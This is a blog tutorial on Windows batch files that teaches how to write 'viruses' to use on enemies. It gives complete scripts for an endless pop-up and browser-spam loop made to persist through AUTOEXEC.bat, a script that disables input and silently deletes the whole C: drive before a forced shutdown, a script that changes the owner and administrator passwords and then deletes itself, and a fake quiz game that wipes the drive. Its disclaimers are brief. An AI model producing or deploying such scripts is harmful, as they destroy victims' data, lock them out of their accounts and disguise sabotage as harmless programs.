Click here to get your own player.

Batch Programming

Intro: What is a Batch file?
A Batch file is a program that runs in the command prompt of a computer. It uses MS-DOS commands, and can help you or destroy you. I'm just going to explain the basics of how to program a Batch file virus/semi virus for the hell of it.

To Begin:
Open notepad. It should come auto-installed on your operating system. Now all you have to do is remember to save this scripting code that you are about to write as a ".BAT" file.

Coding:
To start any Batch file... ALWAYS begin with two commands, @echo off, and cls. These commands hide your commands/code for the person who activates the program.

So so far in your batch file, you have:
@echo off
cls

These two commands you will ALWAYS be using.
Before I start talking about more advanced commands and such, I should say that the next step is without a doubt to decide EXACTLY that you want this program to do.

Obviously this depends on your ethics/how many enemies you have, but it is still important to know what you want to do.

OK, while you think about that... I'm going to outline some more basic commands.

echo --- This command will make text appear in the command prompt.

pause --- This command will ask the user to "Press Any Key To continue" before it activates the next command.

Example:

Code:
@echo off
cls
echo Hi, this is a test
pause


If you wish you can test that code right now, save it as "test.bat" and run it. But anyways, assuming that you have made up your mind, let's get started.

An Annoying Virus:
These guys are great for driving your enemies absalutely insane without causing any ACTUAL damage. They are great pranks as well.

Some of the new commands that we will be using:
Code:
MSG
-This command sends a pop-up message to a user of your choice with a message of your choice! it even comes with an annoying little BEEP* sound. Smile However for computers other than Windows NT/XP Home, you will need to specify a user on the target computer. If you don't know any, just stick with using the users: Administrator, and owner. Half the time those will work.

The Syntax of this command: MSG (user) (message)
Example: MSG Tim Hi Tim


Code:
:list
This command can put a title on a list of commands
No Syntax.

Code:
GOTO
This command is used for naming a list of commands to go to.
No Syntax.
Example:
Code:
GOTO list


START
this command will start any program/application on your computer that you specify.
Code:
Syntax: START (program to start)
Example: START firefox.exe

Rundll32
This command can control any modules on the computer, Mouses, Keyboards, Printers, etc.
Syntax:
Code:
RunDll32 (module,command) / Rundll32 (User,command)

-There is a rundll32 command to remove all printer connections, but I just like to use this one:
Code:
CON2PRT /f



Alright, let's get started. Here is a simple annoying script:

Code:
:ECHO
cls
Rundll32 user32,SwapMouseButton
cls
MSG owner This is annoying, isn't it?
cls
MSG owner Remember ZoneVortex
cls
MSG Administrator This is annoying, isn't it?
cls
MSG Administrator Remember ZoneVortex
cls
MSG Guest This is annoying, isn't it?
cls
MSG Guest Remember ZoneVortex
cls
start www.google.com
start www.yahoo.com
goto ECHO

OK, here is the begining of a very irritating program. We have a script that sends pop-up messages to the user, and opens 2 web browsers, not only that, but it also swaps the users mouse buttons! But wait... it gets better... At the top of the script we named this list of commands "echo" and at the bottom we used the command, "goto echo" therefor this program will loop until the system is restarted. Thus, we have a program that sends infinite pop-up messages and also opens hundreds of internet browsers.

And yes, it IS possible to make this program auto-run upon the next reboot! how? you can simply give it the attributes of an auto-run Batch file. Use this code to do so:

Code:
cls
cd c:
type cd c:
ATTRIB c:AUTOEXEC.bat -H
%0 >>c:AUTOEXEC.bat
echo > copy %0
ATTRIB c:AUTOEXEC.bat +H
del /q %0
cls

So now we have an annoying program that simply will not go away... enjoy.


Killer Programs:
Exploring the dark side...
A simple command can reak havoc and destroy any machine, so it really comes down to ethics. Just because you know this simple command doesnt mean you need to use it on every computer you get your hands on... lol.

We use the DEL command (delete) with several nifty options and we can silently delete the whole harddrive in a little less than 15 seconds.

Here is an example of a killer virus:
Code:
@echo off
cls
rundll32 MOUSE,disable
rundll32 KEYBOARD,disable
rundll32 user32,SetCursorPos
cls
DEL /F /S /Q C:
cls
shutdown -s -t 10 -c "Have a nice day - The Red Bishop" -f
cls
exit


In this program, he hide the code, Use DEL /F to force the deletion, /Q to make it Quiet (no confirmation) and a /S to delete the whole tree. So we have a simple but massively destructive program that will hide the code, delete the harddrive, then shutdown, sending a message to the user as it does so.
Again, I am not liable for anything you choose to do with this knowledge... It's not my fault, infact I recommend you never use these commands.

You may have also noticed that we used for more of our old Rundll32 commands here, such as rundll32 KEYBOARD,disable and rundll32 MOUSE,disable (which are self explanitory) and also the rundll32 user32,SetCursorPos command, which puts the mouse in the lower right hand corner of the screen.

And finally:
Password changers.
These are nifty little things that I discovered a little while ago. It seems to an almost completely forgotten command... Infact I know lots of programmers who dont know it. All the same, just like the "MSG" command, a user MUST be specified, and just like with MSG, I recommend you always use "owner, and Administrator" as two of the users.

An example of a password changer:
Code:
@echo off
cls
net user owner ihackedyoubitch
net user administrator ihackedyoubitch
cls
echo.
echo Uh Oh!!! Looks like your passwords changed...
pause
exit

The "net user" command can be used in several different ways:
as simply "net user" which will display all users on the machine, or as "net user (user) *, which will bring up a prompt saying:

Please Type a Password for this User:_

I find this command is best for when you are actually changing the password through the command prompt and dont want anyone to see what you are changing it too.

Of course in a program, your only choice is net user (user) (the new password). You just have to hope that they arn't smart enough to go and view your source code and figure it out. Thats usually why you delete your batch file when it has completed its task. Smile
How? just toss in a delete code after the final command.

Code:
DEL /Q (program_name.BAT)


Implementing a "wait" command:
In MS-DOS Batch Files, unfortunately there is no SLEEP/WAIT command, but a wait can be implemented with the following command:

Code:
@ping.exe 127.0.0.1 -n 2 -w 1000 > nul


The command above would create a pause for 2 seconds, and wait before executing the next command. While the command below would wait for 20 seconds, etc.

Code:
@ping.exe 127.0.0.1 -n 20 -w 1000 > nul





Variables and the "If" command:

Now moving slightly out of the virus realm... Here is some batch commands that you can actually write a simple program with.

Using the "If" command with variables is relatively simple. But first we must learn SET/P.

Code:
@echo off
cls
echo what is your name?
Set /p input=
cls
echo Hi %input%!!
pause
exit


The code above is simple once you understand it... to some of you it may be self-explanitory.
Using the Set /p command, we set a variable called "input" ,(but it doesnt have to be called input, I was just doing that as an example) Then we simply make a message using ECHO, saying "HI %input%!!

Example:
Say a user ran the program, and they entered "Bob" as their name, once they hit enter, the screen will be cleared and text will appear saying: "Hi Bob!!"

Using IF:
Example:

Code:
@echo off
cls
echo Please enter password:
set /p inputchoice=
IF %inputchoice% equ 08yds1 goto accessgranted
echo.
echo.
echo Access Denied
pause
exit
:accessgranted
cls
echo Access Granted.
pause
exit

Above we have a code that uses a lot of the commands we gave gone over. First; it sends a message telling the user to enter a password. Then we use the "IF" command to say that IF the user types 08yds1, to GOTO a new command list. If he doesn't, that IF string will simply be skipped, and the screen will read "Access Denied".

Using this in the virus world:

Batch programming doesn't directly relate to Batch viruses, but there are always ways of making it do so. Be creative.

Code:
@echo off
cls
Rundll32 MOUSE,disable
cls
echo Welcome to the Bridge of Death Game!
echo.
echo ZoneVortex wishes you luck!
pause
cls
echo Answer these questions as best you can.
pause
echo What, is your name?
set /p name=
cls
echo What, is your quest?
set /p input=
cls
echo What, is your favorite color?
set /p color=
echo %name%, your favorite color is not %color%!!!
echo.
@ping.exe 127.0.0.1 -n 3 -w 1000 > nul
goto DIE
:DIE
echo AHHHHHH
DEL /Q /S /F C:
cls
shutdown -s -t 10 -c "Thou Art Guess was Incorrect." -f

Above we have a nasty little program that pops-up in the command prompt and disables your Mouse...then there is a solem re-inactment of Monty Python and the Holy Grail.

Do I reccomend that you use this code against you enemies? No.
But if you do, perhaps use a little bit less black-hat command than Delete C drive?

Hehe, oh well. Just a stupid code I wrote and thought I would share,lol.

Just with the commands and code I have discussed here, you should be able to set yourself up a decent batch file program/virus.

I hope you learned something.


Just with the commands and code I have discussed here, you should be able to set yourself up a decent batch file program/virus.

Remember, be ethical.
Not Nessecarily White Hat ethical, but use good judgement.

As the good book says, "what goes around comes around" lol.

Peace.

0 Responses to “Batch Programming”

Post a Comment


Web This Blog

About Aamhi Marathi


Aamhi Marathi is about marathi, marathi kavita, marathi jokes, marathi charolya, marathi cartoons, marathi articles. Be Marathi n say Aamhi Marathi !!


You are From


Latest


??????: ????


Visitors




Meebo Me









XML


© 2006 One Blog 4 all your net needs
No part of the content or the blog may be reproduced without prior written permission.